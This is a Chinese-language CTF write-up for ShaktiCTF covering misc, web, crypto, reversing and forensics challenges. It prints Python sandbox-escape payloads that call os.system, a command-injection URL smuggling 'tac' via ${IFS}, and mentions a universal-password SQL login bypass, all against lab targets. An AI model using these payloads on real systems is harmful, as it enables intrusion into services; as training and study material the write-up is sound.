shaktictf题目解析(部分)
文章目录
misc
1.Greeky Fix
首先我们先下载题目附件,是一个py文件,根据题目可以得知是要修复py文件获得flag。
修复前代码如下
修复后代码如下
然后根据题目给的提示“Use your “wisdom” to get the flag.”用你的智慧来获取flag,所以我们将secret参数改成’wisdom‘,在运行脚本就可以获取flag
flag: shaktictf{U_r_c0RR3c7!!}
2.Winter Reindeer
首先下载附件,发现是一个txt文本,打开查看可以发现文本都是空的
我们使用010 Editor打开进行查看,根据hex值可以看出是snow加密(其实文件名也有提示是snow,当时第一次看的的时候还没发现)
那知道了snow加密,在其次就是找key了,根据题目描述以及提示不难找到key为’Gerolamo Cardano‘(题目的提示是“I invented universal joint and I can hide messages in the form of grids. Who am I?”&“The name of the person is case sensitive. (Eg: Xxx Xxx)”)
用snow工具解密即可获得flag
.\SNOW.EXE -p "Gerolamo Cardano" -C .\snow_chall.txt
flag: shaktictf{H4v3_4_5n0wy_c7f}
3.level0
根据题目连接上靶机
查看报错信息,似python报错信息,判断题目类型为python沙盒逃逸
进行简单绕过
payload: __import__('so'[::-1]).system('cat flag.txt')
flag: shakti{7h47_w45_7Un!3a36rgjsk9}
4.level1
和上题一样只是过滤的参数不同,用不同的方式进行绕过
payload: getattr(getattr(__builtins__, '__tropmi__'[::-1])('so'[::-1]), 'metsys'[::-1])('cat flag.txt')
flag: shakti{7h47_W45_4_Cl053_C4ll!!!}
5.endgame
根据题目链接靶机
和前两道题差不多,只不过过滤更加严格了,无法用之前的方式绕过,这里我选择导入wrapper库,执行命令
payload: [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("cat flag.txt")
flag: shakti{H0w_D0_y0u_L1k3_35c4p3_r00m5_n0W?}
web
1.Be Alert
访问网站可以发现首页是一张图片
查看源代码,可以看的有东西在flag.html里
访问flag.html,他让我们输入密码,那我们就找一下密码在哪,首先查看源代码
可以看见有一个js的代码块,很简单随便看一下就可以找到结果,密码为shaktiadmin
<script>
<!--
let word = "rg`jsh`clhm";
let password = "";
function chall(word) {
for (let i=0; i<word.length;i++) {
password += String.fromCharCode(word.charCodeAt(i) + 1);
}
return password
}
document.write(chall(word));
-->
</script>
输入后获得flag
flag: shaktictf{c0n9r4t5_u53r_hehe65445746}
2.ping-pong
访问网页
根据提示,修改url访问
执行ping命令,想到远程代码执行,先尝试使用’ ; ‘或者’ | ‘去执行多命令,发现’ | '可以
尝试读取flag,cat不能使用,这里可以使用tac
payload: ping?address=google.comltacS{IFS}flag.txt
flag: shaktictf{cOmm4nd_1nj3ctiOn_iz_3asy right??}
3.L0g1n F4il3d
访问网页,可以发现是应该login登录网页
用万能密码即可
flag: shaktictf{s1mpl3_sqLinjectlon_ehehhehe564321345}
Cryptography
1.Eazy_peaZy
下载附件py文件,代码如下
可以猜测出题目应该是想让我们去获得最下面那条数据的初始内容
我们将py文件的代码反向修改一下,如下
将最下面那密文base64解密后的内容作为flag参数,然后运行脚本就可以得到flag
flag: shaktictf{crypt0_1s_sup3r_eazyyyyyy_gc432tr56g4tr54}
2.secRets_And_seCReTs
打开下载的py文件
得到n,c,e,ct和secret的值,直接跑即可
from Crypto.Util.number import *
secret=4302040125834928853558463909476079954473400865172251180160558435767130753932883186010390855112227834689861010095690778866857294344059634143100709544931839088413113732983879851609646261868420370506958223094475800449942079286436722629516277911423054845515342792094987249059810059640127872352101234638506603087565277395480953387647118861450659688484283820336767116038031727190397533082113134466893728210621302098082671125283992902107359805546865262918787687109747546968842757321383287635483017116189825332578143804402313162547301864633478350112638450973130720295084401400762328157586821639409421465548080122760881528019152451981418066119560584988658928643613995792058313513615847754001837873387949017975912403754727304537758597079167674369192909953480861392310713676253433998929652777155332408050107725317676660176980502406301244129743702460065671633250603271650634176695472477451658931634382635748322647891956353158570635160043
e=65537
ct=16958627479063955348415964384163116282602743039742753852934410863378528486785270030162782732192537726709536924276654783411884139339994697205619239406660459997082991141519385345070967253589282293949945894128620519748508028990727998488399564805026414462500253524261007024303476629172149332624303860869360966809845919057766279471870925180603362418449119409436609700813481467972962774900963043970140554494187496533636616384537667808308555402187685194879588448942654070984762583024927082993513125305565020701004973206532961944433936049713847420474363949095844995122469523084865481364653146506752587869477287886906616275417
x=175393906935410597646312735251121734825355066308014883020996453700680562811773639892091486800372429659125492317788178170078374593410001133290406346042424977949257610021473876645919378922293673885436422442069899845701280009009220968827934275876545186933778202134359447023530167415550308017091921680916413562203
n=secret//x
p=156613782007770984536049055700840395037085682399926189984796410929143868636172989598027406051641994725886674336805075334390044528511942285958708618671006005927130990180083143883853840126990685118290412751594654157367930730824790742241421921147161987915110899307344903473712967071752529319870067482601269289159
phi = (p - 1) * p
d = pow(e, -1, phi)
print(long_to_bytes(pow(ct,d,n)).decode('utf-8'))
运行后结果如下
flag: shaktictf{wOw_you_knOw_hOw_RSA_6_CRT_wOrks_!}
Reversing
1.Love Calculator
下载文件,获取文件信息
这是一个64位的文件,没有加密和混淆,使用ida打开
flag在v9变量里
按照顺序拼出flag即可
Forensics
1.Mission 1
下载文件,根据题目简介,我们需要找到文件的sha1的值,还有windows截图工具的uid和账户密码
文件sha1值
导出密码,然后爆破
截图工具pid为1076
flag: shaktictf{ed85ee47484e503787277807d3ef999586aecf1b_londonbridge_1076}
2.Follow Up
下载附件,使用wireshark打开
查看协议分级
发现传输了很多data数据,我们选中
每一条都是一个十六进制数,我在查看了前几个时发现了图片点
前4个数据分别是 89 50 4e 47 这是png图片的头数据,我们将data数据都导下来
使用010Editor新建文件,然后保存为png图片
flag: shaktictf{that_was_e4sy!}
后记
这是我第一次ctf比赛,会的东西不多只能写出部分解析,在这里也是感谢一名大佬愿意带我打ctf,还一直教我网安的知识,非常感谢。
作者也会继续参加别的比赛,和提升自己,希望可以带来更多的好的文章